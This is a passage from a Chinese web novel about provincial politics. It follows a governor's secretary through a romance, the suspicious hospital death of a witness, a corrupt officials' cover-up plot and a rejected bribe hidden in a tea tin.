孟良德替杨兆华拿到了省办公厅秘书长的职位,同样,他也失去了一次为王前竞争审计厅厅长的机会。 这就是筹码交换。 看似人事选拔是由组织部提议,省委常委们投票决定。 但一把手和二把手的决定一致,常委会基本就是走一个过场。 常委中,有省委书记的人,也有省长的人,两方阵营的票数已过半数,就等于掌握了人事任命权。 两方阵营达成共识,至于第三方和中立常委的票数,也就不重要了。 孟良德让了一个审计厅厅长的名额,换来了省政府秘书长的名额,对孟良德来说,也属于是弃车保帅了。 省政府是他的大本营,他要先完成内部稳固,才能向外扩张。 ..... 【承哥,你怎么不理我?】 【你已经一下午没有理我了,你在忙吗?】 【承哥,我想你了,我知道你在忙,你抽空回我一条消息好吗?我有点担心你....】 回到家,李承打开手机。 微信上有很多条来自许梦的消息。 下午他一直忙于跟踪秦海的事件上,下班后,在去汇报工作的路上,李承也没有得闲。 各个单位询问秦海的处理情况,以及孟良德是何态度的电话,一直响个不停。 到了招待宾馆又跟孟良德打了一个多小时的羽毛球,回到家这才得以安静,有时间去看公务以外的消息。 【我忙了一天,刚到家。】李承烧开水,一边泡着面,一边回复。 ‘叮’ 【我以为你不想理我了呢。】 许梦的消息基本是秒回,配上一个委屈的小兔子表情。 【怎么会?我也很想你。】李承说。 【我想见你了。】许梦说。 【今天不上班吗?】李承问。 【上班,下播又要很晚。】许梦配上叹气的表情,回复。 八点主持节目,虽然八点半就会下播,但她还要备份素材,进行复盘,处理直播中可能遗留的问题。 除此之外,她还要在省电视台留守待命到十点,应对随时可能出现的临时口播,突发新闻等.... 但在许梦心里,是十分希望李承能够回她一句:下班后,我去接你。 【下班后早点休息,我忙了一天,有点乏了。】 李承的回答并没有达到许梦的心理预期,她心里很是失落。 但她不是一个不通情达理的人,她也知道李承公务繁忙,十分辛苦。 【那你会收看我的节目吗?】许梦期待的问。 【我还没吃饭,吃完饭洗个澡就准备睡了,你下班后也早点回去休息。】李承说。 忙了有一天,他今天确实很乏累。 自从给孟良德当了秘书,他的精神始终处于紧绷状态,生怕出现半点的纰漏。 紧绷的精神,特别消耗一个人的精力。 【那好吧。】 过了很多,许梦才回复。 在这期间,她的脑海里不停在胡思乱想。 想着李承是不是并没有很喜欢她,为什么自己提出想见面,对方却不愿意呢?是喜欢还不够吧.... 紧接着,纠结的情绪又安慰自己,想着李承可能是真的累了,省长的秘书公务繁忙,自己应该理解。 各式各样的情绪在心中翻来覆去,最终化成失落的理解。 晚上十点。 许梦孤零零的从省电视台走出来,晚风吹散她的秀发,在空中飘扬,有一种凌乱的美感。 她拿出手机看了一眼和李承的聊天对话框,见到没有对方的消息,明亮的美眸黯淡了几分。 她想发消息给李承,告诉对方自己下班了。 字打到一半,想着对方已经睡觉了,又再次删除。 “这么晚的,在给谁发消息?” 这时,一道清朗的声音从她耳边响起。 许梦微微一怔,抬头望去,便看到李承那张俊朗的脸,手里还捧着一束花。 一瞬间,许梦的心荡漾起来。 从感觉被对方冷漠的失落,再到看到李承突然出现的惊喜,仿佛从低谷升到山颠。 那种从失望到惊喜的喜悦之情,远远胜过于早有准备。 “我以为今天见不到你了呢....” 许梦扑进李承的怀中,紧紧抱住了对方。 她很用力,似乎想要将李承融进自己的身体里面。 “笨蛋,你说想见我,无论再困再累我都会来。”李承亲昵地摸了摸许梦的头,十分温柔。 许梦则像一只乖巧的猫咪,享受李承温暖的怀抱:“我想你,很想。” 第57章 潘男死了 “我也想你。” 李承轻轻拍了拍许梦的背,放开了拥抱。 “这是送给我的吗?” 许梦看着李承手中的玫瑰花,满心欢喜。 “是呀,喜欢吗?” 李承将鲜花递给许梦,问。 “喜欢,你送的我都喜欢。” 许梦接过玫瑰,放在鼻子下面嗅了嗅花香,美眸闪动。 “在电视台门口送我花,跟我拥抱,你不怕被别人看见吗?” 许梦回头望了一眼身后的省电台大楼,笑盈盈的问。 这段时间以来的接触,她能感觉到李承有意在公共场合下与她保持距离。 她知道,这跟李承现在的工作有关,不想被人抓寻话柄。 “你怕被看见吗?”李承笑着反问。 “我不怕,我希望全天下的人都看到。” 许梦撅着小嘴,微微扬起下巴,摆出一副傲娇的表情。 很可爱。 “你一个小姑娘都不怕,我有什么怕的。” 之前,秦海当秘书长的时候,想法设法的想要寻找李承的麻烦。 那时候,他需要与许梦保持距离。 虽说,李承未婚,许梦未嫁,两个人情投意合,谈谈男女关系也属于个人感情问题,与工作无关。 可毕竟,许梦的身份也很特殊。 她是省电视台主持人,又报道了多个与孟良德相关的新闻,秦海想做文章,也是有迹可循的。 李承不能给他任何抓捕话柄的机会。 但现在,秦海彻底与秘书长无缘,这些担忧李承可以打消,他能够大大方方的与享受这份你侬我侬的相处。 “承哥,你真好。” 许梦主动拉起李承的手,甜甜一笑,朝着远处走去。 两个人就像一对普通的情侣,有说有笑,甜蜜而亲热。 省电视台的员工宿舍不远,不知不觉,两个人走到了宿舍楼下。 “你...今晚....” 许梦想留李承今晚陪她。 相处这段时间以来,她对李承有好感,也在李承身上感受到了浓浓的安全感,她发现自己已经爱上了眼前这个男人。 觉得这个男人可以值得托付终生,她想将自己宝贵的第一次,交给这个男人。 可她毕竟是一个‘未经世事’的女孩子,主动去留男人过夜,她不好意思开口。 话到嘴边,脸羞涩的涨红,却怎么也说不出口。 ‘我的爱如潮水,爱如潮水将我向你推....’ 正在这时,李承的手机很不合时宜的响了起来。 这道铃声,也将许梦刚刚鼓足的勇气消散。 李承拿出手机,看着上面的来电显示,肃然起敬。 “是孟省长。” 李承对许梦说了一声,清了清嗓子,连忙接通电话。 “喂,老板。”李承挺起腰板,神情严肃。 “潘男死了,你现在去一趟省公安医院,查明真实死因。”孟良德声音冷漠。 从他的声音里,李承听出了愤怒。 “好的老板。”李承严肃答应。 潘男只是大腿中弹,这么多天,伤势早已稳定。 可他却死在了二十四小时有人看守的公安医院,他的死,就显得很蹊跷。 就连李承这位秘书都清楚,他的死,大概率是有人杀人灭口! “我得去办一下公务,不能送你上楼了,你注意安全。”李承对许梦说。 “出了什么事?”许梦担忧的问。 “没什么,一点小事。” 潘男的死要保密,至少不能在李承这里泄露出去。 他倒不是不信任许梦,主要,一旦消息从许梦这里流传出去,无论她是无心还是有意,对李承都有严重的影响。 “会不会有危险?”许梦美眸眨了眨,攥住李承的手更紧了。 “放心吧,没有危险。”李承安慰道。 “你注意安全,我等你到家再睡。” 许梦钻进李承的怀里,踮起脚尖,在他的唇上轻轻吻了一口。 上一次,李承对于那个突然的吻没有准备,事后懊恼了好一会儿,这一回,他不准备这么轻易的让许梦离开。 在许梦准备落下脚尖时,他的手拦住许梦纤细腰肢,将她整个人都贴合在了自己身上。 毫不犹豫的吻了上去。 炙热的双唇相碰,李承感觉浑身都酥酥麻麻的,他用力的去亲吻着许梦,感受这期待已久的‘爱’。 在这茫茫夜色下,两人拼尽全力的去享受彼此的温存。 足足吻了一分钟,李承卷走许梦红唇上的一缕唾液,这才意犹未尽的停下动作。 “我得过去了,早点睡,我到家会给你留言,放心。” “一定要注意安全。” 两人依依不舍的分别后,李承跑到路边,打了一台出租车,赶赴省公安医院。 ...... “李秘书。” 见到李承,汉江市公安局局长宫庆鑫主动上前,打了招呼。 他的脸色很阴沉,想挤出笑容,却怎么都笑不出来。 “到底怎么回事?”李承严肃的问。 “突发性心脏病,抢救无效。”宫庆鑫说出了答案。 “这里是医院,他身边二十四小时有人看守,第一时间送去抢救,怎么可能救不回来?” 李承严肃的问道。 虽说他对医学方面没有了解,但在他的印象里,一个突发性的心脏病,只要送去及时就医,不可能会死。 对于李承带有质问的话,宫庆鑫低着头,没有回答。 他也是刚收到消息赶过来不久,具体情况了解的并不多。 “尸体在哪?”李承问。 “还在抢救室,我没让他们动。” 宫庆鑫说着,替李承带路。 两个人来到抢救室,门外,已经有警方的人进行封锁。 有宫庆鑫带路,畅通无阻。 走进抢救室,李承看到了潘男。 他静静的躺在那里,表情平静,脸色比正常人惨白一些,但还有一抹未消散的红润。 “主治医生在哪?”李承挪开目光,问。 “我就是。” 医生们也同样被警方留置在抢救室,没有离开。 在听到李承的询问后,一名白大褂的中年眼镜男人站了出来。 “他有心脏病史吗?”李承问。 “有,死者患有先天性心脏病,这次突发,确实是不可抗因素。”男大夫叹了口气,表现的很无奈。 “不可抗,还是不想抗?” 第58章 医院闹事 李承本就是带着存疑的态度。 所以,他对任何人的讲话,都是以审视怀疑的目光去看待。 包括医生,他也不信。 如果潘男是非正常死亡,他觉得这些医生中,也一定有对方的内应。 “我们已经第一时间进行正确的抢救措施,您这么说话,是对我们所有医生品德的质疑吗?” 男医生看着李承,不卑不亢的道。 “我不是质疑你们的医德,我只是想搞清楚他死亡的真相。” 李承严肃的说完,看向宫庆鑫:“宫局,潘男的尸体是不是还要进一步做尸检呀?” “嗯,尸检是要做的。”宫庆鑫点头。 “尽快,孟省长那边还在等消息。”李承道。 今晚他过来,能够调查的信息太有限。 尸检没做之前,没有确切的证据,也只能暂时按照发病死亡算,只有等到尸检结果,才能进行下一步。 “好的李秘书。” “宫局,事关重大,你辛苦一下,尸检时,务必安排信任的人进行全程监督。” 以阴谋论的角度看待问题,如果潘男的死是人为,那么尸检这一步,对方也肯定会有所行动。 李承要确保的,就是尸检时的公平性。 “你们放开我,我要见我儿子....” “我儿子都被你们这些警察给害死了,他的最后一面我们怎么不能见!” 就在此时,外面传来一个老太太的哭诉声,还有一个老头的呵斥。 闻言,李承与宫庆鑫相视一眼,皆在对方的眼里看到了诧异和凝重。 潘男刚死,这个消息还在封锁阶段。 他的家人是怎么得知消息的? 走出抢救室,李承看到不远处,一对老夫妻,带着一个八九岁的男孩站在那里。 他们想往里进,却被门口的警察拦住去路。 “怎么回事?”宫庆鑫走上前,问。 “宫局,他们是潘男的家属,说是想进去看看。”一名警员汇报道。 “你们凭什么不让我们见我儿子,你们还讲不讲人情味啊,都是你们害的,让我们白发人送黑发人!” 老太太去推挡在她面前的警员,哭泣着吼道。 警员被他推得后退半步,紧接着又上前一步,伸手阻拦。 “阿姨,你们是怎么得到的消息?”李承问。 “你管我们怎么知道的消息,怎么?我儿子死了,还不准备告诉我们老两口啊,我们就这一个儿子,现在让我们白发人送黑发人,你们都是杀人凶手!是你们害了我儿子!” 老太太厉声哭泣时,她还动手推了推小男孩:“小晨,你不是想爸爸了吗?你爸爸就在里面,他被这些人害死了....” “呜呜...我要见我爸爸,我要爸爸...” 听到老太太的话,男孩原本只是泪水含在眼眶,这下彻底放声大哭起来。 哭的同时,还朝着里面冲。 “小朋友,里面不能进。”一名警员挡住了男孩,说。 小孩不管不顾,他扑在那名警员的身上,张开嘴,狠狠的咬在对方的胳膊上。 “哼。” 警员吃痛,闷哼一声,本能的伸手将男孩推开。 男孩被退了一个趔趄,摔倒在地上,哭的更大声;“呜呜呜....” “警察打人了,大家快过来看一看啊,警察杀了我儿子,还打了我八岁的小孙子,简直没有天理了,大家快出来给我们评评理啊!” 老太太大喊大叫。 很快,她的声音传遍整个楼层,甚至传到了楼下。 人都有好奇心,尤其是对方还喊了‘警察打人’更能激起普通看热闹群众的围观。 没一会儿的工夫,陆陆续续有病人赶了过来。 不仅有病房,还是医院的值班护士,都看起了热闹。 “阿姨,有什么事情好说好商量,别在这里闹,你们想进去看,我让你们进去。” 宫庆鑫看着事态要闹大,破格同意他们进去看。 潘男的死,还处于封锁消息阶段,可经过他们这么一闹,整个医院都知道了。 那么,消息自然也就会泄露出去。 “大家过来给我们做主啊,我们老两口法活了,小孙子才八岁啊,这个家都靠我儿子撑着。 现在他们害死了我儿子,都不如让我们去死了....哎呀我滴老天爷啊,我们的命咋这么哭呢....” 老太太看围观群众越来越多,压根不理会宫庆鑫,颇有一副要把事情闹大的架势。 而旁边的群众也开始交头接耳起来,他们不明所以,却都站在老太太的那一边去议论。 这就是弱势群体的共鸣。 李承站在一旁,有些同情的看着宫庆鑫。 这种情况是最难缠的。 从法律角度,他们三个属于是妨碍公务,那个小朋友都得算袭警。 可法律也要考虑情理,尤其是这种聚众围观的情况下,更要考虑社会影响。 老两口想见自己死去的儿子,这无可厚非。 小孩子为了见爸爸,张口咬人,可孩子那么小,警方也不可能去追究他的责任。 面对这种情况,法律的方式已经不适合了,只能稳住对方,先给对方安抚下来。 可对方却好似非要把事情闹大,闹到人尽皆知才肯罢休。 李承也帮不上什么忙,这并不属于他的责任范畴内。 他这次过来,也就是奉命来看看情况,尸检报告今晚也出不来。 看这种情况,今晚可能连尸检都做不上。 但既然孟省长吩咐了,装样子也要留在这里装一会儿。 直到凌晨一点,警方驱散了看热闹的群众,宫庆鑫也安抚好这三口人。 在询问对方如何得知消息,对方却绝口不提,李承也认为今晚很难从对方口中获取消息后,这才告辞离开。 “宫局,今晚你费费心,尽量问出来他们是从哪得知的消息,还有,尸检要尽快做。” 站在吸烟区,两个人抽着香烟,李承对宫庆鑫说。 “嗯,时间也不早了,李秘书你先回去休息吧,这边有我盯着呢。”宫庆鑫说。 “好,有任何问题,第一时间联系我。” 孟良德让自己跟踪调查,李承自然要上心。 他弹了弹烟灰,忍不住打了一个哈欠:“宫局,那我就先走了。” 第59章 讨好 次日一早。 在孟良德吃早餐时,李承将昨晚发生的事情,全部汇报给了孟良德。 着重讲述了潘男家属闹事一事。 “阻碍很大。” 听完李承的讲述,孟良德只是平静的回复了四个字。 李承只是一个秘书,并不能全责去督促负责这件事,这并非他职责之内。 这事只能静等公安机关的尸检结果。 “潘男死了,秦海还在抢救,问题越来越棘手了。”孟良德放下筷子,说。 李承立马递上一张纸巾,分析道:“老板,我觉得潘男的死,这背后可能有医院方面的介入。” 直觉告诉李承,昨晚那个男大夫就有问题。 因为他过于急切的撇清责任,将这件事全部归算到了潘男自身的身体问题上。 这种行为,发生在这个特殊的时期,就很难不让人怀疑。 “等尸检报告再说。” 孟良德接过纸巾,擦了擦嘴,起身朝外走去。 回到省政府,李承照常办公。 正当他看材料时,李薇儿走了进来。 以前他参加工作时,对于一些细节方面不懂,总是习惯性的关门。 也没有人提醒告诉过他。 后来,他自己摸索才觉得,他这间办公室的门,应该时刻敞开。 不然,有些领导来跟孟省长汇报工作,还要先敲敲他这屋的门,就会给人一种傲慢的印象。 “承哥,秦秘书长被纪委请去喝茶,还有希望回来吗?” 李薇儿还是那招牌的姿势,半个身子趴在办公桌上,身体前倾,手掌拖着下巴,露出那傲人的胸峰。 李承只是扫了她一眼,继续低头看文件:“不知道。” 秦海服用了百草枯,命都未必能保住,就算保住了,这个巨贪一辈子也不可能有出头之日。 但在纪委公布之前,这些事情李承还不能外传。 “我觉得是够呛了,昨天看纪委的阵仗,都要给他戴手铐了,肯定掌握了证据。” 李薇儿分析说。 “你自己都有想法,为什么还要问我?”李承抬起头,反问。 “我只是想跟你确认一下嘛,现在秦秘书长被抓了,承哥你就是咱们办公厅消息最灵通的,也是最有权力的。” 李薇儿谄媚的冲李承抛了一个眉眼。 “我消息闭塞的很,而且我就是一个小小的副处,在我的上面还有张处长,还有几位副秘书长,我哪有什么权力,你太抬举我了。” 李承淡淡的说。 “我可没有,现在办公厅里的同事,都叫你二号首长呢,你可比那几位副秘书长厉害多了。” 李薇儿讨好着,可李承对她并不感冒。 李承现在有许梦了,对于这些莺莺燕燕并不感兴趣。 再者说,他总觉得这些人讨好他,都带有目的性。 “哟,你们两个在聊天啊,那我不打扰了。”这时,张俊笑盈盈的声音从门口传了过来。 “张处长有什么事吗?”李承看了过去,问。 “我没什么事,就是听说李秘书很懂茶,这不老家亲戚送了我一罐茶,我年纪大了,喝茶睡不着觉,就想着送给李秘书尝尝。” 张俊走了进来,手里还拿着一个茶罐,脸上堆积着讨好的笑容。 这就是官场。 昨天,他还对李承冷言冷语,一副看李承就不烦别人的样子。 但他的主子秦海被抓后,今天就立马换了一副嘴脸,送礼想要缓和两人的关系。 “张处长的茶,我可收受不起,你拿回去吧。”李承直接拒绝。 这段时间,张俊在确认李承不可能跟他们站在同一条战线后,没少刁难李承。 现在想用一罐茶就缓和关系,没那么容易。 张俊虽是综合一处的处长,算是李承半个领导,按理说,为了工作的顺利开展,两个人关系不应该闹的太僵。 可马上,杨兆华就要成为省政府的新任秘书长。 张俊作为秦海的人,搞肃清的时候,他一定也在名单之内。 张俊的好日子已经到头了,这种人,李承懒得再与他有任何交集。 “李秘书,你留着喝,我托朋友问过,这个茶很不错,呵呵呵...” 张俊笑呵呵说着,将茶叶放在了办公桌上,他怕李承拒绝连忙离开:“你们先聊,我就不打扰了啊。” “这个老东西,今天怎么这么好心。” 李薇儿看着张俊离去的背影,嘟囔了一句。 “无事献殷勤,非奸即盗。” 李承轻哼了一声,指了指桌子上的茶叶:“李薇儿,一会儿麻烦你给张处长送回去。” “好的承哥,不麻烦。” 李薇儿拿起茶罐,将茶盖打开:“从包装看,这茶就不怎么....承哥,这里面不是茶,是...” 看到里面的物品后,李承声音中断。 她将茶盒口倾斜向李承。 李承看到,里面压根没有什么茶叶,跟是装着被卷起来,塞进去的现金。 目测看,起码两万。 “还送吗?承哥。”李薇儿低声询问。 “他这是要害我啊,你务必要亲自交到他的手上。”李承严肃的说。 人都贪财,但这些钱非正道而来,李承绝不能收。 他要爱惜自己的羽毛,不能因为秦海被抓,就放松警惕,这是原则性的问题。 更何况,就算李承是那种贪污的人,也不会收这个钱。 一来,这个钱是对手送的。 二来,这个钱已经被李薇儿看见了,就多了一层风险。 “好的承哥。” ‘铃铃铃...’ 正在这时,办公室的电话响了起来。 李承没有第一时间接通,而是看了李薇儿一眼。 李薇儿会意,笑盈盈的拿着茶罐,离开了办公室。 “喂,李秘书,尸检已经做完了。”电话接通,宫庆鑫的声音传了过来。 “怎么样?”李承问。 “法医说,潘男的确死于突发性心脏病。”宫庆鑫道。 “那他怎么会突然发病,而且,这其中是否涉及到抢救不及时,或者用药错误的问题?”李承追问。 “这些还要等毒检报告出来,才能进一步分析。”宫庆鑫汇报道。 “那还要多久?” “三天吧,我已经催那边加急处理了。” 第60章 周公子 天湖庄园。 李美娇穿着一身性感泳衣,泡在庄园的私人温泉中。 四十岁的年纪,皮肤却依旧雪白滑嫩,肚子上没有半点赘肉。 她手里端着红酒杯,尽显妩媚的脸颊上挂着温柔笑容,风韵十足。 在她身边坐着一个男人,脸色死板。 如果李承在场,一定能认出这个男人,正是东江省公安厅厅长,常百利。 他们两个人平静的坐在那里,目光看向前方的正在嬉笑打闹的一男三女。 男人很年轻,三十岁左右,穿着一条粉色的泳裤。 三个女人年龄各异,最小的看起来十八九岁,最大的三十出头,一个比一个性感,其中还有一个金发碧眼,身材火辣的洋妞。 四个人在温泉里正在上演着一场追逐大戏。 女人只要被男人抓住,就会被他抱在怀里,一顿乱摸占便宜,玩到兴起时,还会在女人的胸部狠狠咬上一口。 咬的对方娇嗔连连..... “百利,一起呀,那个洋妞的胸,翘的很,咬一口很爽。”男人看常百利死板的脸,双手叉腰,招呼着。 “周公子你玩吧,我年纪大了,参与不进去,呵呵呵....”听到男人的招呼,常百利勉强挤出一抹笑容,婉拒道。 他五十岁的年纪,不像周公子那么年轻,没那么大的雅兴。 尤其他心里还装着事,李美娇又在身边,他是不敢那么放纵。 “没劲儿。” 周公子摆了摆手,走到李美娇身边坐下,竟当着常百利的面,大咧咧的把胳膊搭在了李美娇的肩膀上:“李总,你们东江的姑娘够漂亮,但我自己玩太没意思了。 我呀,今晚再待一天,明天去蜀川,还是刘汉懂我的心啊。” “周公子,我们现在都火烧屁股了,哪还有这心情,新上任的省长对于潘男很上心,毒检不仅要在本地做,还要送去京城。” 李美娇以拿烟为掩护,躲开周公子搭在她肩膀的手,从烟盒香烟,递到周公子的嘴边。 潘男的死,并非是意外,而是杀人灭口。 本地的毒检单位,以常百利的权力,可以达到偷天换日的效果。 但孟良德对此事很上心,想要彻查到底。 所以,关于尸检采样,孟良德亲自吩咐送到京城公安部物证鉴定中心去做。 东西到了公安部,常百利这位省公安厅的厅长再想动用关系去篡改,难如登天。 “这点小事,算个屁呀,瞧你们没出息的样子。”周公子吸了一口烟,撇嘴说:“这事我来解决,都给我高兴一点。” “谢谢周公子。” 李美娇嫣然一笑,道谢说。 “常百利,这事我给你摆平,你还有什么不高兴的?” 周公子微微探身,目光看向常百利,发现他的表情依旧阴沉,皱眉说。 “潘男是小问题,他跟花海集团涉事不深,我担心的是锦绣置业黄天耀。”常百利说出自己心情沉闷的原因。 “他不是都跑到国外了吗?”周公子在烟灰缸上磕了磕烟灰,说。 “驻维瑞利亚大使馆已经与当地政府达成共识,很快就要对黄天耀进行遣返。 弱国无外交,虽然没有引渡条款,但在大使馆强硬的施压下,维瑞利亚还是愿意配合。” 孟良德一直在跟进黄天耀一案,这才是常百利苦恼的原因。 锦绣置业跑路,李美娇的花海集团接管。 看似是花海集团接收了一堆烂摊子,但是,锦绣置业能够走到逃亡的道路上,不仅仅是因为上任省长李雪忠被抓。 其实还有花海集团在背后推波助澜。 锦绣置业欠下那么多钱,实际上,洗白卷走到国外的并不多。 大部分都用作于偿还花海集团的高利贷。 其中,花海集团向锦绣置业索要债务的背后,就有常百利的影子,是他利用职务之便,给花海集团提供了要账帮助。 如果黄天耀被抓,狗急跳墙之下,把这些消息全部交代,他们的处境将会很难堪。 “嘶....” 周公子深深吸了一口烟,眼神冷了下来:“这个孟良德,怎么就抓着我们不放?” 在他看来,这是孟良德的刻意针对。 实际上,这只是巧合,孟良德只是想追查下去,却还没有查到那么深。 “这位新省长,很不好交往。”李美娇耸了耸肩,说:“有他在,我们花海集团举步维艰呀。” 花海集团不止是李美娇的个人产业,其中,最大的股东就是这位周公子。 “那就让他走!” 周公子沉默了几秒后,冷漠的说出了这五个字。 ..... 几天后。 宫庆鑫带着尸检报告,来到了省政府。 “李秘书忙着呢。” 他看着低头看文件的李承,打了声招呼。 低头看文件,也是李承自己悟出来的方式,其实,他并没有那么多文件要看,只是假装自己很忙而已。 原因也很简单。 他这屋的门,现在是时刻敞开着。 如果他抬着头,那么每位路过的领导,只要对方看过来,他都要礼貌的起身打招呼。 但假装看文件,就可以避免这种情况的发生。 其实,从宫庆鑫到门口时,他就已经发现了对方。 只是他故意在装忙,等到对方距离拉近,李承这才抬起头,表现出刚看到对方的样子。 如此一来,等到李承站起身时,对方也到了自己面前,不用出去迎接。 “宫局长来了。” 李承起身笑了笑,做出一个请的手势:“孟省长在会客,你坐这里等一下。” “好的。” 宫庆鑫在沙发上坐下,李承给他倒了一杯水,问:“尸检报告出来了?” “嗯。”宫庆鑫点头。 “怎么样?”李承追问。 “市里和公安部的检验结果一样,潘男死于突发性心脏病,是一场意外。”宫庆鑫将报告递向李承,说。 “哦。” 李承接过报告,看完检测结果后,微微点头:“宫局长,这两份报告,你觉得可靠吗?” “公安部的质检部门都做出报告,应该是可靠的。”宫庆鑫回道。 “行,那我知道了,宫局长你要是没什么事情的话,可以先回去了。” 第61章 无果 宫庆鑫这次过来,就是为了送尸检报告。 报告交上来,检测结果又没有继续调查的意义,他见不见孟良德也就无所谓了。 今天是周一,孟良德公务最繁忙的一天,李承作为秘书,要尽可能的节省孟良德的时间。 宫庆鑫离开了。 十几分钟后,孟良德会客结束,李承将这两份尸检报告递了上去。 “省长,这是汉江法医检测实验室和公安部物证鉴定中心出具的尸检报告,检查结果都排除了他杀可能。”李承说。 孟良德拿起报告,随便的翻了翻后,将报告放下:“剩下的事就交给纪委和公安同志处理吧。” 尽管孟良德和李承都对潘男的死亡有着深刻怀疑,可毕竟是公安部出具的报告,他们只能相信这个结果。 “好的省长。”李承点头答应。 “十月一放假,你要回封兰市陪家人吗?”孟良德打开保温杯,喝了一口水,问。 “省长有指示的话,我随时待命。” 还有三天就是国庆小长假,又与中秋节赶在一起。 李承心底里还是想回家陪陪家人,他现在工作越来越忙,能陪家人的时间不多。 但是,孟良德这么问,可能是有吩咐安排。 自己当了省长的专职秘书,那么一切就要以孟良德的吩咐优先。 “海森市是封兰的下属县级市吧?”孟良德问。 “是。” “我最近接到了很多封举报信,有实名的,有匿名的,都是关于海森市陈志伟的,你正好回去探亲,查查这个陈志伟什么来历。” 孟良德拉开抽屉,将几封举报信放在桌子上。 “好的。” 李承接过这几封举报信,并没有打开查看。 举报信在递到孟良德面前时,李承都会率先过目一遍。 关于海森市陈志伟的举报信,他也早就看过了。 举报内容很多。 有人举报他涉黑,杀人。 有人举报他非法占用公共资源,以暴力手段抢取生意,放高利贷等等。 在这些举报信里,陈志伟极其他背后家族,可以用十恶不赦来形容。 “常委会议是几点?” 孟良德看了一眼时间,问。 “下午二点半。”李承道。 “去东兴面馆吃口抻面,好久没去了。”孟良德说。 “好,我通知王师傅。” 李承刚上任时,孟良德就曾带他去过东兴面馆。 面馆不大,却格外火爆。 两人在面馆吃完,孟良德看时间还来得及,又带着李承打了辆出租车,赶往隆源大桥。 张宝林汇报称,已经整改了打车问题,但孟良德还是想亲自去看一看。 王师傅则开着专车,跟在两人乘坐的出租车后面。 这一次,出租车很顺畅的通过了隆源大桥,并没有停下之意。 “师傅,我记得以前隆源大桥是要换成出租车的呀,你怎么还敢过去?”李承试探的问。 “那都是几个月前的事儿了,自从咱们新省长上任,没多久就整改了,也算是为老百姓造福了。 以前,不少乘客赶机场,过了隆源大桥我们市区的车都不敢进,给那些乘客都急坏了,不少人都因为这事赶不上飞机。 也不是哪个损揍之前规划的区域,他妈的,真是给老百姓添麻烦。 还好啊,新省长是一个实干的好领导。” 出租车司机提及此事,便对孟良德称赞不已。 而他们能知晓这事是孟良德的功劳,源自于李承给许梦发的那几张照片,让许梦公报新闻,广而皆知。 孟良德对于马屁夸奖都习以为常。 但那些拍他马屁的人,都是为了他的身份而讨好,对于那种讨好,他不喜欢。 但出租车司机的夸奖,是普通人对于父母官的认可,是发自内心的敬佩,这份夸赞,让孟良德露出了微微笑容。 他也是真心为了造福百姓而高兴。 “这个政策改变,也给你们出租车司机提供了不少便利吧。”李承通过车内后视镜,看到了孟良德欣慰的表情,索性继续追问起来。 想让司机多说几句,哄孟良德开心。 “那肯定的呀,以前一来乘客去机场,我们也跟着头疼啊。 本地乘客知道规则的还好,他们都会提前出发,不会埋怨。 但是拉了外地乘客,脑瓜子嗡嗡滴,看他们赶不上飞机,咱们也跟着着急啊,没办法,过了线就要受罚,我们开出租车也要养家糊口,肯定为了自身利益考虑啊。 有的外地乘客好说话,能理解你,有的真是张嘴就骂,骂的那叫一个难听,下了车还举报说你拒载,能连着投诉你好几天,哎呀....” 提及此事,出租车司机也好似有一肚子的委屈,不停诉苦。 他们也是底层人,为了养家糊口都不容易,但那些乘客不会理解他们的苦,只会认为,这是司机拒载行为。 把愤怒发泄到这群人的身上。 “师傅,停车,我们从这里下。” 顺利通过隆源大桥后,孟良德摆了摆手,说。 “好嘞。” 司机靠边停下车。 李承付款后,两个人坐在了后面的省长专车,赶往省委大院。 省委常委会议,李承自然是没有资格陪同。 他只能坐在外面等待。 作为省长秘书,他要时刻保持着自己的正面形象,不能过于随意放肆。 像玩手机打发时间的行为,不能存在。 玩手机并不违纪,但是,会让路过的人看在眼里,这些人心里会成为,省长的秘书都在上班摸鱼,对听他的形象,以及孟良德的形象都有负面影响。 “你是李承?” 正在李承百无聊赖的呆坐时,一道诧异的女人声音,从他身旁响起。 李承闻声看去,眼神一亮:“柳思瑶。” 柳思瑶是李承的大学同学。 李承大学谈的初恋女友秦虹和柳思瑶是闺蜜,因为这层关系,李承和柳思瑶接触很多。 大学毕业后,李承和秦虹因为一些原因分手,便也和柳思瑶没了来往。 没想到时隔多年,会在省委大院见面。 “你怎么在这里?”柳思瑶亲切的问。 “我陪领导来开会,你呢?”李承说。 “我就在省委宣传部工作。” 第62章 老同学 “不错呀,省委宣传部可是好单位。” 对于女同志来讲,宣传部绝对是晋升机会最多的单位。 其他单位,普遍重视男同志的提拔,因为男同事的抗压能力,执行能力等综合素质,普遍要强于女同事。 但宣传部不同,它的工作性质,主要是组织学习理论政策,开展思想引领,新闻舆论媒体的管理等文化事业领域。 这种领域上,女性的特长可以得到充分发挥。 所以,在宣传单位出现女性领导的概率,要比其他单位高很多。 “我算是侥幸吧,毕业后就很顺利的考到汉江宣传部,前年又调到了省委经济宣传处,挺顺的。” 柳思瑶莞尔一笑,问:“你呢?” “我在省政府秘书处工作。”李承回答道。 闻言,柳思瑶似乎想到了什么,惊诧道:“你该不会就是孟省长身边的李秘书吧?” “对,是我。”李承微笑点头。 “这么厉害,你现在可是省政府的二号首长了呀。”柳思瑶不可思议的夸赞道。 “可不敢乱讲,我就是一个专职秘书,配不上首长二字。”李承连连摆手,否掉了‘二号首长’这个说法。 如果是私底下,柳思瑶喊他一声‘二号首长’,他会很开心,甚至是享受这个称呼。 但这里是省委,他一个副处级的专职秘书,可不敢跟首长二字沾边。 “你太谦虚了,我们省委的二号首长可威风的很呢,除了秘书长之外,几个副秘书长都要给他配笑。” 柳思瑶压低声音,目光瞟了一眼旁边,说。 她这话不夸张。 省委书记的专职秘书,才是流传中‘二号首长’的代表,作为整个东江省一把手的眼睛,耳朵和嘴,虽实权有限,却能在某个节点,掌控大局,决定某位干部的人事任命。 耳边风的力量,更古至今都是强大的。 副秘书长都要讨好省委书记的专职秘书,也符合常理。 至于说秘书长,那是省委常委中的一员,也是省委书记的心腹,自然是不用太过于在意一个专职秘书。 “秘书可没你想象的那么威风,很难做的。”李承淡淡一笑,说。 “对了,你跟秦虹还有联系吗?” 柳思瑶还是大学时期那么八卦,好奇的追问。 “分手后就没再联系。”李承说。 “她家里人要是知道你现在给孟省长当秘书,估计肠子都得悔青了,哪天我去她家做客,必须跟她父母说说,哈哈哈。” 大学时期的恋爱都是纯真的,李承和秦虹的感情,一直以来都很好。 但大学毕业,步入社会,一切就是另一番景象。 李承家在封兰,是一个四线城市,他又是从小在农村长大的孩子。 而秦虹是土生土长的汉江人,父母双职工,秦虹父母自然是看不上李承的家庭。 